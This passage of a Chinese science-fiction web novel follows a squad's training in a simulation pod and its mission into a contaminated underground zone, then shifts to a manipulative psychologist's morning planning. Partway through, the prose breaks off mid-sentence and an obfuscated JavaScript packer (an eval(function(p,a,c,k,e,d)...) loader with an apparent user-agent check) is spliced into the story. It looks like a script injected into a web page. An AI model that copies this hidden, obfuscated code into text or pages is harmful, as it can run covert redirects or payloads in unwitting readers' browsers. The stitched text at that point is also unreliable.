‘医生紧张时会捏手指。’医生愣了一下,低头看自己的手。确实,她的左手正无意识地捏着右手食指。‘回声……回声走神时会盯着一个点看超过三秒。如果看见她这样,就知道她可能在接收回响,别打扰她。’‘幽灵自己呢?’幽灵沉默几秒然后说:‘我观察时,右手的食指和中指会轻轻敲击大腿。如果妳们看见我这样,就知道我在评估风险,别急着行动。’ 我们互相看了看,这些细节,我们自己可能都没意识到,但对方已经注意到了。 第七次尝试开始了,进入迷宫后,秩序摸了一下下巴,我们立刻安静让她计算路径。她指了两个方向,我们分成两组,左路有陷阱,幽灵的右手开始敲击大腿,三秒后她用手势示意:前方五米有压力感应板,绕行。 绕行时医生被流弹擦伤,她立刻打开医疗包我们自动围成防御圈。老刀舔了舔嘴唇,冲锋前兆,然后扑向弹道来源,解决了那个炮塔。在交叉点汇合时秩序已经拿到了芯片,我盯着墙壁上一幅模糊壁画看了几秒,那壁画描绘的是媞皇创世的神话片段,但有些细节不对劲,我在接收回响,她们等了我五秒,我回过神指向壁画上的符号:‘密码是这个符号的镜像。’果然,B点的密码锁需要输入镜像符号。我们解锁,送达,全程二十八分钟,零警报,零伤亡。媖断在出口等我们,她看了我们一会儿,然后说:‘这次像点样子了。’我们互相看了一眼,有什么东西开始不一样了。” 宛方知:“接下来的训练没有迷宫,没有任务,只有一个指令:生存。 把我们扔进封闭模拟舱,面积只有二十平米,然后启动了极限压力程序。程序内容很简单:每隔随机时间,舱内会出现一种危机,可能是毒气泄漏,可能是温度骤降,可能是重力失控,也可能是虚拟突袭,我们要做的,就是在这些危机中活下去。‘这次训练没有评分,没有标准答案。妳们可以用任何方法,只要活下来,但记住,妳们是一个小队。如果有人‘死亡’,训练不会结束,但剩下的队友要承受更高的难度。’舱门关闭,程序启动。 前两个小时相对平静。危机间隔很长,每次持续三五分钟,我们有足够时间应对。毒气泄漏时医生快速分发过滤面罩;温度骤降时我们挤在一起保暖;重力失控时我指挥大家抓住墙壁上的固定环。配合越来越熟练,不用说话,一个眼神一个手势就知道对方要做什么,老刀在低温下会不自觉发抖,医生就把自己的外套脱下来给她;我计算危机间隔时大脑过载,回声就轻轻哼一段旋律帮我放松;幽灵负责监测环境变化,每次发现异常征兆就敲击大腿,大家立刻进入戒备状态。 但第三小时,难度提升了。危机开始叠加,一次毒气泄漏还没处理完重力就失控了紧接着是虚拟突袭,混乱中,医生被扑倒眼看要被击杀,老刀想冲过去救但重力失控让她动作慢了半拍,我在计算重力恢复时间来不及下令。幽灵做了个决定,她冲过去,用身体撞开了虚拟物,虚拟物转向她,她顺势滚到墙角,从靴子里抽出训练用匕首刺向它的颈部关节,系统判定:击杀成功。 重力在这时恢复,我们落回地板摔成一团,毒气浓度还在上升过滤面罩的剩余时间不到三十秒,‘出口!’老刀吼。我已经爬起来了,在墙上摸索,那里本来没有门,但根据我的计算,这个位置的墙壁最薄可能是隐藏的紧急出口,果然,我摸到凹槽,用力一推,金属板滑开露出后面通道,‘走!’我们一个接一个爬进去,通道很窄匍匐前进,最后进去的是回声,她拉上金属板隔绝毒气。通道另一端是个小房间,有空气循环系统,我们瘫在地上大口喘气,医生第一时间检查幽灵的伤势,她用训练绷带做了简易固定,固定完她抬头眼神复杂:‘妳没必要那样做。’‘有必要。如果妳死了,接下来的治疗缺口会让我们的生存率下降百分之四十。’‘所以妳是在计算?’‘是。’我在检查房间结构:‘这里是安全屋但应该有时限,我们需要制定接下来的计划。’回声突然说:‘我听见声音。’我们安静下来,果然墙壁后面传来机械运转声,还有哭声?是模拟程序添加的环境音效,为了制造心理压力。 ‘别听。那是假的。’ ‘我知道,但记忆里真的有这种哭声。很多次。’ 没人接话,我们都听见了。那些声音,不只是哭声,还有怒吼尖叫祈祷最后是寂静,程序在播放战场录音,或者说,,死者最后的回响。 门开了,外面不再是模拟舱。而是一片战场废墟:燃烧战车、倒塌建筑、遍地尸体。 ‘最终阶段。穿过这片废墟抵达尽头的撤离点。途中会遭遇敌方主力部队,妳们可以选择潜行强攻或者分散突围,但记住,最终撤离点需要至少三人同时到达才能开启。’ 我开始计算,潜行路线有三条但每条都有至少十五个巡逻单位,强攻需要正面突破三十个固定火力点我们的弹药不够,分散突围的话,生存概率最高,但无法保证三人同时到达撤离点。 ‘所以?’ ‘所以我们需要制造混乱。那里应该是弹药库。如果我们能引爆它,吸引大部分敌人注意,就可以从侧翼绕过去。’ ‘谁去引爆?’ ‘我。’ ‘我跟妳去。’ ‘妳不是擅长潜行吗?引爆是送死。’ ‘正因为我擅长潜行才更有可能靠近弹药库。而且,秩序需要医生和回声保护,她们俩不擅长近战突围。’ 我点头:‘同意。幽灵和老刀去引爆,我们三个从西侧绕行。引爆后,妳们尽量跟上,如果跟不上直接去撤离点汇合。’ 废墟里到处都是障碍,幽灵走在前面,老刀跟在后面,她们贴着墙壁移动,避开巡逻单位的视线,靠近弹药库时她们遇到了麻烦:门口有两个固定岗哨,而且视野完全覆盖了入口,绕不过去。幽灵观察了一会儿,岗哨的巡逻模式是固定的:左边那个每隔三十秒会转头看右边,右边那个每隔二十秒会低头检查装备。中间有大约五秒的空档,两人都背对入口。 ‘五秒够吗?’幽灵用手势问,老刀点头握紧训练匕首。左边岗哨转头,右边岗哨低头。她们冲出去,五步跨过空地闪进弹药库大门。没有犹豫,老刀扑向最近的一个匕首划向颈部,幽灵冲向第二个用肘击撞向喉咙,第三个反应过来举枪,但幽灵已经滚到箱子后面,顺手抄起金属零件扔过去砸中手腕,系统判定:三个单位击杀。 整个过程不到十秒,她们靠在墙上喘气,老刀咧嘴笑:‘配合不错。’ 弹药库里堆满了箱子,大部分是空的,但有几个标着易爆品。她们找到□□,其实就是个红色的按钮,旁边有倒计时器。 ‘设多久?’ ‘三分钟。够我们跑出一段距离,也够秩序她们接近撤离点。’ 倒计时开始:180、179、178…… 她们转身就跑,刚跑出弹药库警报就响了,不是她们触发的,是我们那边被发现了?她们趁机混进混乱的人群,往撤离点方向移动。 倒计时到六十秒时,她们遇到了我们。医生搀扶着回声,‘还能走吗?’我快速计算:‘距离撤离点还有八百米,但中间有至少二十个敌人,如果绕行,时间不够。’ ‘那就冲。’敌方从四面八方涌来,老刀用匕首和枪托开路,幽灵负责解决侧翼的偷袭,我用精准点射击倒远处的火力点。倒计时到十秒时我们离撤离点还有一百米,‘冲不过去’老刀突然停下,从腰间解下什么东西,是训练用雷,之前她一直没舍得用,她拉开保险用力扔向敌群,‘趴下!’我们扑倒在地,手雷爆炸,烟雾弥漫中老刀爬起来:‘走!’ 最后五十米。幽灵的腿被击中了,系统判定为轻伤,速度下降百分之三十。医生的手臂也受伤了,但她还是撑着回声。我的肩膀中了一枪。 倒计时归零,整个废墟开始崩塌,地面开裂建筑倾倒,敌方被爆炸吸引我们趁机冲过最后一段路。 撤离点是个小平台,上面有个红色按钮,六人同时把手按上去,系统提示:任务完成。 模拟舱的门开了,媖断站在外面,看着我们,‘合格了。’” 歌虎杖:“训练结束后的那个晚上,我们没回宿舍。媖断把我们带到训练室旁边的一个小休息室,扔给我们几包营养膏和几瓶水。‘吃。然后说说今天的感受。’我们围坐在地上没人先动,最后是老刀撕开一包营养膏挤进嘴里嚼了两下:‘这玩意儿比泥巴还难吃。’‘有的吃就不错了。’营养膏的味道确实糟糕,黏在舌头上需要用力才能咽下去,但热量是真的,吃下去后,疲惫的身体慢慢恢复了力气。 ‘说说吧。今天最后那个任务,妳们觉得自己做得怎么样?’‘配合比之前好但还有提升空间,引爆点的选择可以更精确,撤离路线的规划应该预留更多备用方案。’‘医疗资源分配有问题,我太关注腿伤,忽略了幽灵的肋骨。应该先处理更严重的。’‘我的回响干扰了判断,看到那幅壁画时我不该停留那么久。’‘我低估了引爆后的混乱程度,应该预留更长的撤离时间。’‘妳们说的都对但都没说到点子上。今天的训练,最重要的不是妳们完成了任务也不是妳们配合得多好,是妳们开始把彼此当人看了。前两天的训练,妳们眼里只有队友,一个功能性的概念,但今天妳们开始看到彼此的习惯弱点甚至那些自己都没意识到的小动作。这就是信任的开始。不是相信对方不会犯错,而是相信就算对方犯错,妳也能理解为什么,并且有办法弥补。’她走到门口,回头:‘明天休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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迎枫香:“出发前,我们有两个小时的最后准备时间。我在医疗室清点要带走的物资,基础医疗包已经扩充到了原来的三倍大小但还不够,我从仓库额外申请了一些东西:高浓度止血凝胶、强效镇痛剂、抗污染血清、便携式生命体征监测仪、还有一套更完整的外科手术工具,包括一把小骨锯和一套血管夹。除此之外,还准备了一些非标准物资:从训练中回收的、还能用的绷带;用营养膏和抗污染血清自制的应急凝胶;一小瓶从模拟舱战场废墟里捡到的、不知名植物的汁液,测试发现它有微弱的镇痛效果,也许有用。 秩序在检查每个人的装备,她列了张清单,一项项核对:‘老刀,能量步枪功率调节正常吗?’‘正常。’‘备用弹匣?’‘五个,满能量。’‘匕首?’‘够利。’‘幽灵,通讯器?’‘信号正常,加密模式已启动。’‘干扰器?’‘随身带着。覆盖半径五十米,持续时间二十分钟。’‘侦察设备?’‘微型摄像头三个,热感应贴片六个,运动传感器四个,都已校准。’‘医疗包?’‘完备。额外申请的高浓度物资已就位。还带了一些自制应急品。‘自制?’我拿出那小瓶浑浊的液体,‘虽然未经正式测试,但也许有用。’ ‘装备检查完毕,现在确认任务要点。’ 我们围过来,秩序打开数据板,调出任务简报: 任务代号:深潜 目标:潜入喑哑污染核心区Z-9,放置灵源稳定锚点。 渗透路径:地下排水系统第七支线→废弃矿坑隧道→污染区边缘裂隙。 预计任务时长:七十二小时。 敌方威胁:中度(巡逻单位)+ 未知(喑哑畸变体)。 撤离点:任务完成后,前往坐标点G-7,等待接应。 备注:锚点放置后,需保持激活状态至少十分钟。若激活失败,需手动重启。 秩序收起数据板:‘运输舰一小时后起飞。姒战会在指挥中心监控我们的进度,但通讯可能中断做好独立作战的准备。我知道妳们不是自愿来的,但既然来了就尽力活下来,活下来才有未来。’ 一小时后我们登上运输舰,舱壁是厚重装甲,我们互相看了一眼然后各自走向自己的空投舱,舱门是透明的能看见外面。我躺进去,固定好安全带,系统自检开始:压力正常氧气充足缓冲系统就绪,运输舰开始减速,我看见紫色云层再次出现。 我闭上眼睛,深呼吸。 ‘……三、二、一。投放。’ 失重感袭来。” 夜溯光:“空投舱撞击地面的瞬间,缓冲系统吸收了大部分冲击但我还是感觉五脏六腑都被震得移位,几秒后,舱门弹开我爬出去迅速躲到最近的掩体后面,是一截断裂的水泥管道。其她人也陆续出来了,我们用手势确认彼此状态:全员存活,装备完好。 头顶是弧形的混凝土穹顶,高约二十米,上面长满发光苔藓投下惨淡绿光。脚下是及膝深的污水,水是黑色的,表面浮着油膜,偶尔有气泡冒上来,破裂时散发出刺鼻的硫磺味。 我们排成一列纵队走了大约五百米,前方出现岔路,三条管道直径相同,幽灵的右手开始敲击大腿,她指向中间那条管道:管壁上有新鲜刮痕,像是最近有东西通过。管道更窄了我们只能弯腰前进,污水深度降到脚踝但水质更浑浊,手电光束切开黑暗,照亮漂浮垃圾:破布、塑料碎片、还有骨头。大多是动物的,但偶尔能看见属于人的指骨或颅骨碎片,然后我们听见了别的声音,很轻,像是摩擦又像是低语,从前方传来越来越近,秩序打手势:分散,隐蔽。 我们迅速躲到管道两侧的凹陷处,我缩进一个破裂的维修口屏住呼吸,声音近了是滑动声,接着一个影子出现在光束边缘,它大约两米长,身体像放大的蛞蝓,表面覆盖着暗紫黏液,没有明显头部,只有布满细齿的圆形口器在缓缓开合。它滑过污水,黏液拖出轨迹,经过我藏身的位置时它停顿并将口器转向我的方向,我能感觉到它在看我虽然它没有眼睛,我们又等了一分钟,确认没有后续才重新集合。医生检查了它留下的黏液,取样放进密封管,‘轻度污染,腐蚀性不强,但可能携带孢子。’接下来的路程我们遇到了更多畸体:像多足蜘蛛的,像浮游水母的,甚至看见一个像人形但四肢反折的东西趴在管壁上,一动不动,不知道是死了还是在休眠。 我们尽量避开战斗,幽灵的侦察能力起了关键作用,她总能提前发现危险引导我们绕行。 三小时后我们抵达排水系统的出口,外面是废弃矿坑。” 宛方知:“矿坑比排水系统更压抑,空间更大更暗。顶部只有零星几盏应急灯还在工作,轨道车翻倒在一边锈成了红褐色,矿车散落在轨道旁,里面装满了黑色矿石,是灵骨矿脉的低品位伴生矿,在黑暗中微微泛着紫光。 主矿道很宽,足够两辆矿车并行,但地面散落着碎石和废弃工具,我走在最前面负责侦察,手电光束扫过墙壁地面顶板寻找异常。墙壁上有涂鸦,已经模糊不清但能辨认出一些词:危险,别下去,它们来了,还有粗糙的画:一个人形的东西被无数触手缠住嘴巴张得很大。 老刀凑过来看:‘挺形象。’ 前方主矿道被堵住了,是某种有机质的东西,像巨大的菌毯从地面爬到墙壁再覆盖到顶板,厚厚一层表面有脉搏般的微弱起伏,菌毯上长满了大小不一的瘤状物,有些瘤子破裂了,流出暗黄脓液,‘绕不过去,菌毯覆盖了整段矿道,两侧没有缝隙。’ ‘烧了它?’ ‘燃烧可能释放更多毒素,而且火光和烟雾会暴露位置。’ ‘那怎么办?’我指了指上方,顶板处菌毯相对较薄而且有一排通风管道,直径约半米应该可以爬行。 ‘可以尝试。但管道里可能有巢穴。’ ‘总比硬闯菌毯强。’我们找到通风管道的入口,是一个检修井。井盖锈死了,老刀用匕首撬开,陈腐热风涌出来,我第一个爬进去,其她人跟上。 管道里只能匍匐前进,内壁积满灰尘,一碰就扬起一片,光线很暗,只有头盔上的小灯提供照明,我们爬得很慢,尽量不发出声音,爬了大约五十米前方出现岔路,我停下等秩序指示。 就在这时我听见了声音,不是摩擦声也不是滴水声,是音乐,断断续续,回声突然颤抖,是媞皇战曲的变调但被污染了,我们关掉头灯蜷缩在黑暗里,歌声更近了,一个影子出现在岔路口。是一个…人?她穿着破旧的矿工服,背对着我们,身体随着歌声轻轻摇晃,歌声从她那里传来但她的嘴没动,不,仔细看,她的整个头部都变形了,后脑勺裂开,里面长出了一簇肉质的喇叭花一样的器官,歌声就是从那里发出的。‘回…来…回来…工作…’她向我们走来,动作僵硬速度不慢,老刀想冲出去,但秩序按住她打手势:别动,她在感应生命体征。我们又等了一分钟才敢呼吸,医生手在抖,我碰了碰她的肩,她深吸一口气,点了点头。 我们爬进右边管道,这次更快,十分钟后找到了出口,另一个检修井。老刀撬开井盖,我们爬出去。外面是勘探隧道,比主矿道窄,但很干净,墙壁上贴着勘探队留下的标记:岩层类型、矿脉品位。秩序核对地图:‘就是这里。沿着这条隧道走两里就能抵达污染区边缘。’我们继续前进,隧道一路向下,坡度很陡,面罩的过滤效率开始下降,一小时后,隧道到了尽头。 面前是一道巨大裂隙,是自然形成的裂隙,对面就是Z-9污染区的边缘,那里的岩石变成了紫黑,表面覆盖着不断蠕动的薄膜。裂隙底部有微光透上来,‘怎么过去?’‘有旧索道,但缆绳可能已经腐蚀了。’果然,左侧岩壁上固定着滑轮和缆绳通往对岸,但缆绳锈迹斑斑,我检查了固定点:‘锈蚀严重,承重可能不够。’‘一个一个过,减轻重量。’‘谁先试?’我站出来打手势,她们把安全绳系在我腰间,另一头固定在岩壁的锚点上,我抓住滑轮脚踩上缆绳,我慢慢向前移动每步都小心试探,到中间时缆绳突然下沉了一截,固定点松了?我停住等待震动平息,就在这时我看见了下面的东西,裂隙底部是一片沼泽,液体表面漂浮着无数东西:破碎盔甲扭曲武器还有肢体,人类的畸体的,混合在一起缓缓旋转,液体中央有个东西在动,很大,只能看见一段布满吸盘的触手伸出液面缓缓摆动,触手上长满了眼睛,那些眼睛同时睁开同时转动,然后同时看向我,我僵住了,‘幽灵!快过来!’我回过神继续向前移动,触手没有追来,只是那些眼睛一直盯着我直到我抵达对岸。 解开安全绳我瘫坐在地上,其她人陆续过来缆绳撑不住崩断了,我们站在污染区边缘,透过薄膜能看见里面的景象:扭曲岩石、倒流溪水、悬浮在空中的碎石,还有更多无法形容的怪异存在。 我们检查了最后一次装备调整呼吸,然后,跨过薄膜。” 何知预:“首先是声音,所有声音都变得遥远扭曲、连自己的呼吸声、心跳声、装备碰撞声,都变成了缓慢拖长的怪响,队友的声音也变了,像从很远的地方传来。其次是光线,光线从各个方向射来,没有统一源头也没有影子,物体轮廓变得模糊,边缘处有重影,像是视力出了问题。颜色也变了,所有东西都蒙上暗紫滤镜但紫色本身也在变化,从深紫到暗红再到青绿,没有规律。然后是方向感,我分不清上下左右了,地面在倾斜,但倾斜角度在不断变化;岩壁在扭曲;头顶是一片不断旋转的紫色漩涡,连重力都变得不稳定,有时候感觉身体很重,有时候又轻飘飘的像要飘起来。 我们手拉手连成一串,我走在最前面用指南针和地图对比,但指南针的指针在疯狂旋转,地图上的标记和实际地形也对不上,只能靠记忆和直觉。我回忆起任务简报里的坐标点,在脑子里构建三维模型然后对比周围的地形特征,岩石纹理、地面坡度、空气流动的方向……这些细微线索在正常环境下可能没用,但在这里它们是唯一参照。 走了大约五百米,我们遇到了第一个真正的威胁,是环境本身出现一片空无,连光线都在那里消失,空无边缘在缓慢扩散,所过之处,岩石苔藓甚至空气都消失了,变成绝对空白。‘绕过去。’但我们刚转向,空无突然加速扩散向我们扑来,没有声音没有预兆吞噬一切。‘跑!’我们狂奔,地面在脚下扭曲,空无紧追不舍,距离在不断缩短,医生跑得最慢,老刀回头拖着她跑。 前方出现岔路:左边是向上斜坡,右边是向下隧道。我快速计算:向上的话可能脱离污染区但地形更复杂;向下的话可能进入更深的污染,但隧道更直跑得更快,我指向右边:‘下!’我们冲进隧道,空无在入口处缓缓蠕动但没有进来。我们瘫坐在隧道里大口喘气,医生检查了大家的生命体征:心率都超过一百八,血氧饱和度下降,有轻微的中毒症状,‘不能久留,继续前进。’隧道一路向下,坡度很陡,温度越来越高面罩镜片开始起雾,我擦掉雾气看见隧道尽头有光,出口到了,外面是个巨大洞穴,洞穴中央悬浮着一颗东西,大约有十米高,形状不规则,表面不断变化,时而扭曲树根,时而纠结内脏,时而融化金属,它散发着暗紫色的光,光照到的地方,岩石会软化蠕动、长出新的怪异结构,这就是污染源的核心。在它下方有个平台,平台上固定着锚点的基座,是我们出发前就空投下来的,现在需要我们去激活。 ‘怎么过去?’洞穴地面布满了紫色黏液池,池子里有东西在游动,空中漂浮着发光孢子,碰到任何物体都会爆炸释放出腐蚀气体,唯一的路是一道狭窄石桥,从我们所在洞口延伸到平台,但石桥本身也在缓慢变形。‘一个一个过。’我走上石桥,每一步都要用匕首扎进桥面固定,桥在收缩舒张,我走了三分之一,桥面突然隆起把我掀到空中,我抓住桥边突起吊在半空,脚下是深不见底的黏液池,‘别过来!’我吼回去用力把自己拉上去,十分钟后我抵达平台检查基座:完好,能量核心就位,只需要启动激活程序。 医生第二个过来。她走得很慢,到中间时孢子飘过来在她身边爆炸,她呛了一下差点摔倒,我抓住安全绳把她拉过来,她的面罩坏了,脸上有灼伤。我帮她换了备用面罩,处理了伤口,‘还行吗?’‘能坚持。’ 第三个是回声,她走到一半时突然停下盯着洞穴中央的那个东西看,她的眼神又空了,是在接收回响,‘回声!快过来!’她的身体开始颤抖,面罩下的脸扭曲,‘她被污染了!’‘我去救她。’‘等等!桥撑不住两个人。我去。’我重新上桥向回声移动,她还在颤抖,手松开桥边,身体开始倾斜,我加速冲过去,在最后一刻抓住她的手腕,把她拉回来,她的眼神恢复焦距:‘我看见了…媞皇死的那天,还有…我们所有人的结局。’‘先完成任务。’ 全员到齐,洞穴中央的那个东西被惊动了,整个洞穴在震动,岩石开始剥落。 ‘快激活锚点!’我冲到基座前快速输入启动密码,屏幕亮起,进度条开始读取:1%、2%…那个东西伸出触须,是它本体的一部分,触须向我们伸来,所过之处空间都在扭曲,‘争取时间!开火!’她们同时开火,能量光束击中触须,烧出一个个焦黑坑洞,但触须没有停下还在缓慢靠近。 进度条:15%、16%……触须离平台只有二十米了,它的尖端裂开,露出无数细小口器,口器里是旋转牙齿,‘手雷!’我们把所有手雷都扔出去,爆炸在触须上炸开一片缺口,但缺口很快被新生的组织填补。 进度条:40%、41%……触须离我们只有十米了我能闻到它散发出的味道,腐败混合着臭氧和血腥气,‘我有个想法,这个有微弱的灵质活性,可能…能吸引它。’‘妳想做什么?’‘把它引开。’她拔开瓶塞,用力扔向洞穴另一侧,瓶子在空中划出弧线,撞在岩壁上破裂,汁液溅开。那个东西的触须停顿一下然后缓缓转向汁液的方向,它被吸引了。 进度条:65%、66%……触须移开了,那个东西本体开始移动。它从悬浮状态落下砸在地面上整个洞穴剧烈震动,然后它开始向我们爬来,每走一步地面就融化一片。‘继续开火!’全力射击但效果有限,东西表面不断再生。 进度条:85%、86%……它离平台只有三十米了,二十米,十米。进度条:99%……它抬起了前肢向我们砸来,‘趴下!’我们扑倒在地。前肢砸在平台边缘,碎石飞溅,平台开始倾斜,基座发出刺耳警报。 进度条:100%,锚点激活。银白色的光从基座中央射出直冲洞穴顶部,光柱所过之处扭曲空间开始平复,蠕动岩石恢复静止,紫色光芒被驱散。那个东西发出痛苦嘶吼,光柱持续了十秒,然后缓缓收敛,在基座上方形成稳定光球,光球缓缓旋转,释放出柔和能量。那个东西在后退,它讨厌这光。它的身体开始崩解,表面不断剥落露出内部更加怪异的构造,但它没有死只是退到了洞穴边缘缩进阴影里,用无数眼睛盯着我们。 ‘任务完成,锚点稳定运行,净化半径正在扩散。’ ‘现在怎么办?’ ‘按计划,去撤离点。从洞穴北侧出口,有旧时的运输通道,应该能通到地面。’ 我们最后看了一眼锚点光球,在污浊紫光中,那点银白微小但坚定。然后转身走进北侧通道,身后那个东西还在蠕动,无数眼睛反射着锚点的光,但我们没回头。” 歌虎杖:“通道比想象中长。我们走了两小时还没看到出口,通道里只有头盔上的灯照亮前方几步路,地面布满了碎石和积水,我的手臂越来越疼,医生给我做的临时包扎已经渗出血来。又走了一小时前方终于出现亮光,是应急灯的惨白光线,我们加快脚步,走出通道,外面是个小型中转站。中转站已经废弃很久了,控制台上积满灰尘屏幕碎裂椅子翻倒,墙上贴着旧时的安全规程,但重要的是这里有通讯设备。 ‘试试能不能修好,我们需要联系指挥中心,确认撤离点状态。’ ‘有信号,但很弱。’ ‘…这里是…铁环七号…请报…身份……’ ‘碎骨小队,任务完成,锚点激活。请求确认撤离点状态。’ 杂音,然后:‘收到…碎骨…撤离点G-7……安全…重复…安全…预计…半小时后…接应……’ ‘收到。半小时,我们得赶到G-7。’我们稍作休整,医生给所有人重新处理伤口,分发最后的营养膏和止痛剂。 ‘出去后,妳们想干什么?’ ‘先活着出去再说。’ ‘如果能活着出去呢?’ ‘我想写份报告。关于这次任务的所有细节,包括我们的失误和改进建议。也许能帮到下一批人。’ ‘我想研究那个植物汁液,它为什么能吸引污染体?也许能开发成新的诱饵或解剂。’‘我想知道中转站为什么废弃。墙上的日志只写到一半,像突然中断的。’ ‘我想把媞皇战歌的完整旋律找回来。’ ‘我想喝杯真正的酒。’ 休息结束我们继续出发。穿过轻度污染区比想象中容易,配合越来越流畅,像训练时那样但又不一样,训练时是机械配合,现在是本能互补。 我们抵达G-7,小山坡的视野开阔,远处有山脉轮廓,近处是稀疏植被,天空传来引擎轰鸣声,我们站起来,看见一艘小型运输舰从云层中钻出向我们降落,舱门打开,她看了我们一眼,‘任务报告?’‘完成。’‘伤亡?’‘零。’‘上舰。’舱内很干净甚至有个小医疗站,医生立刻去处理那些需要专业设备的伤口,我们其她人瘫坐在座位上,运输舰起飞,离开地面,穿过云层,进入太空。 媖断走过来,递给我们每人一份电子文件:‘任务初步评估。妳们的表现超出预期。回去后,妳们有七十二小时休整。之后会有新任务分配。但这次妳们可以自己选。’‘什么意思?’‘意思是,妳们已经证明了作为队伍的能力。以后的任务可以由妳们自己决定接或不接,当然,前提是任务符合专长。这也是战功的一部分,自主选择权。’” 柳窃影:“战争结束后很久我偶然翻到了那次任务的完整报告。报告很厚,有几百页,详细记录了行动的每个细节:我们的路径选择、遇到的威胁、资源消耗、甚至包括一些我当时没注意到的数据,比如幽灵在过缆绳时的心跳峰值,医生扔出植物汁液时那个东西的能量波动变化,回声被污染记忆冲击时的脑电图异常。 报告最后是评估结论:‘碎骨者队在极限环境下的协同效率达到理论值的百分之二百三十七,创下伏人小队最高记录。建议保留该编制,用于后续高危任务。’ 下面是我们的签名。 我放下报告走到窗边,战后大家各奔东西,有各自的生活。但每年有一天,我们会不约而同地回到一个酒馆,点六杯酒,坐在角落里,不说话只是喝酒。 今年也是。我推开酒馆的门,老刀端来一杯酒放在我面前,麦芽香气,我们举杯。没人说话,但空气里是熟悉的沉默共振,就像还在战场上,背靠背,呼吸同频,心跳同拍。” 5. 第五幕 柳窃影:“我的意识从待机状态浮起,没有梦,伏人的神经结构被设计为信息处理器,而非故事生成器。梦境是冗余的情感缓存,是未被消化的感官碎片,是系统运行中产生的错误日志。三母之一的妨踪在我完成基础神经反射训练后说过:‘阿溜,妳得学会在睡眠时也保持半个脑区的警戒,让警觉成为背景噪声,像呼吸一样不被察觉。’于是我删除了做梦的权限。 眼皮睁开的弧度经过计算:过大会暴露过多眼白,显得脆弱;过小则像未完全苏醒,不够专业,三十度,最佳平衡点。 六点零三分。第一轮生理数据扫描完成。 血压:102/68 mmHg。心率:54次/分。呼吸频率:12次/分。皮质醇水平:8.2 μg/dL(晨间基准值)。杏仁核活跃度:基线以下17%(得益于昨夜服用的长效神经安定剂)。所有指标在预期区间内。良好。 调动左臂内侧的灵骨微传感器,启动环境监测协议,室温:22.4℃。湿度:43%。空气成分:氮氧比例正常,灵质粒子浓度0.0037标准单位。背景噪音:36分贝。安全系数评估:97.8%。可接受。 六点零五分,推演启动。 左侧是日程表,右侧开始滚动加密情报摘要,来自娄远昨夜通过三个匿名中继节点传递的晨间简报: ‘奸部资源调配司副司长姒规昨夜在私人疗养院度过。病历摘要显示为职业性情感耗竭伴轻度灵质代谢紊乱。有趣的是,探访记录中有婳仪的名字,两人在官方档案中无任何交集。推测存在未被记录的地下交易或联盟。’ ‘娼部高层近日频繁密会,保守派担心新法对伏人地位的有限承认会玷污纯人传承的象征体系。内部流出未署名备忘录,提及需在伦理与司法层面设立防火墙,防止某些领域被渗透,这很可能指向妳,柳医师。’ ‘第三区地下伏人网络根系的某个外围节点,于昨日傍晚被不明势力渗透。节点负责人失联前最后传输的信号碎片显示,对方使用了高仿的嫉部执法代码,但行为模式不符合婕影队伍的惯用手法。可能是其她部门冒充,也可能是婕影手下出现了未经她授权的行动。建议提高警惕。’ ‘妖部实验室最新论文草稿泄露。其中引用了一个伏人心理医师对艺术创作中死亡象征的临床干预案例,明显指向妳与娆光的诊疗,作者是娆光的学术竞争对手。’ 信息流持续滚动。我快速标记、分类、建立关联。姒规与婳仪的秘密会面可能是单纯的利益交换,也可能涉及更深的、关于利用各自资源进行某种非法情感干预的实验。这值得关注,但优先级不高。 娼部保守派的动向直接关系到我的生存环境。像我这样凭借非正统方法论爬上来的伏人,最容易成为祭旗的牺牲品。需准备应对方案。 妖部的论文争议,是学术战场的前哨。娆光将我们的诊疗内容透露给竞争对手,可能是无意炫耀,也可能是有意投名,用我的临床技术去交换她在学派斗争中的筹码,典型的艺术家式短视与自私。但这恰好为我提供了反击材料:如果对方众开质疑我的方法剥离非理性,我完全可以出示娆光诊疗后的创作产量与影响力数据,证明理性框架反而释放了更强大的非理性表达。 六点十五分,进入诊疗室。 第一预约:娆光。调出档案。 娆光,妖部三级色彩协调师,课题《星云坍缩时的色彩对应》。过往三次诊疗的核心矛盾:她试图将宇宙尺度的虚无与自身创作焦虑强行绑定,制造悲壮但虚假的存在主义困境。上次离开时捏碎情绪晶体的行为,表面看是情感宣泄实则是精心设计的表演,晶体碎裂的轨迹、光晕消散的速率,都符合妖部即兴行为艺术评分标准中的高阶技巧,她在用痛苦作画,而我是她选中的画布。 今日策略:继续提供象征兑换服务。将她现实中的挫败包装成艺术实践的终极仪式。关键点在于引导她将注意力从损失转向转化过程,并让她相信这一转化具有独一无二的美学与伦理价值。如此,她既能继续沉溺于痛苦叙事,又能获得实际创作产出;我则收获又一个成功干预高创造力个体情感危机的案例,以及她可能带来的人脉资源。 风险评估:娆光的情感依赖倾向正在升级。上次诊疗结束时她试图触碰我的手。需严防移情现象。今日必须严格执行物理距离不少于1.5米、眼神接触不超过3秒的防护协议。 第二预约:妤臻。奸部二级资源调度员。 核心矛盾:她坚守的纯粹理性决策被周遭的情感勒索侵蚀,产生强烈的系统洁癖与存在性焦虑。她的痛苦并非源于能力不足,只是源于认知失调,她发现自己在玩的游戏,规则书是错的。 今日策略:教她编写新的规则书。将模糊的情感诉求拆解为可计量、可交易的情感合约。重点在于让她掌握定价权,主动将情感资源纳入自己的管理体系。需要极高精度的话术:既要满足她对秩序的需求,又不能让她感到我在教她变得冷酷。需引用奸部内部已有的关于非物资资源计量化的研究作为理论支撑,增加说服力。 潜在价值:如果妤臻能接受并实践这套方法,她很可能成为奸部内部一股新的力量,更高效更透明的协作模式的倡导者。而我将成为她的方法论供应商,获得深入系统核心逻辑的切口。 第三预约:编号F-2369,伏人安置中心转介。 一个社会化评分27的产品,哑巴经急性发作伴惊恐障碍,她的价值不在于治愈,只在于作为行为编码系统测试样本的数据产出。 今日策略:导入初级情绪-行为对应编码表,让她行为可控。通过指令引导,将自发的、破坏性的崩溃行为,转译为编码系统内的合规行为。关键点在于建立绝对的指令-反馈循环,每一次合规行为都给予系统性的确认,强化操作性条件反射。 